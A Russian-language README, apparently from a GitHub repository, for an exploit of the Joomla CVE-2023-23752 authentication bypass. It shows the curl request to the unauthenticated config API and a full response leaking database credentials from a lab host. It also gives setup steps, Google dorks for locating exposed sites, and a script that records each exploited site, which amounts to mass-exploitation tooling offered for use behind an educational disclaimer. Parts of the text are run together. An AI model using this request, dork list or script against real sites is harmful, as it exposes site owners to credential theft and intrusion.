
Эксплойт для CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Эксплойт для CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Как уже обсуждалось, CVE-2023-23752 — это обход аутентификации, приводящий к утечке информации. Большинство публичных эксплойтов используют этот обход для получения конфигурации системы, которая содержит учётные данные базы данных MySQL Joomla! в открытом виде. Ниже показана утечка:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
В приведённом выше доказательстве концепции сервер отвечает учётными данными root:labpass1, которые являются учётными данными для нашей тестовой учётной записи MySQL Joomla!. Однако важно знать, что наш тестовый MySQL-сервер был привязан к 127.0.0.1, поэтому удалённый злоумышленник не может получить к нему доступ, что делает эти учётные данные в основном бесполезными. Привязка MySQL к локальному хосту должна быть самой распространённой конфигурацией, что серьёзно ограничивает эту утечку учётных данных.
Данный эксплойт и доказательство концепции (PoC) представлены исключительно в образовательных и информационных целях. Цель их публикации — продемонстрировать потенциальные уязвимости в контролируемой среде. Задача — способствовать пониманию концепций кибербезопасности и поощрять ответственное раскрытие информации.
Получая доступ и используя этот эксплойт и PoC, вы подтверждаете, что несёте полную ответственность за свои действия и соглашаетесь использовать эту информацию в соответствии с применимыми законами и нормативными актами. Автор не несёт ответственности за любое неправомерное использование или последствия, возникающие в результате использования данного PoC для каких-либо целей, кроме образования и ответственного раскрытия.
requests, colorama, urllib3, fake_useragent, aio-httpКлонируйте репозиторий:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
Установите необходимые пакеты Python:
pip install -r requirements.txt
.txt.inurl:/api/index.php/v1/config/application?public=true, intitle:"Index of" /api/index.php/v1/config/application?public=true, filetype:php inurl:/api/index.php/v1/config/application?public=true, intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"Запустите скрипт:
python joomla.py
Дайте скрипту выполниться и следуйте инструкциям.
Каждый эксплуатированный сайт будет сохранён в файл Results.txt.
Приветствуются любые вклады! Если вы нашли какие-либо проблемы или у вас есть предложения по улучшению, не стесняйтесь открывать pull request или создавать issue.
Этот проект лицензирован на условиях MIT License.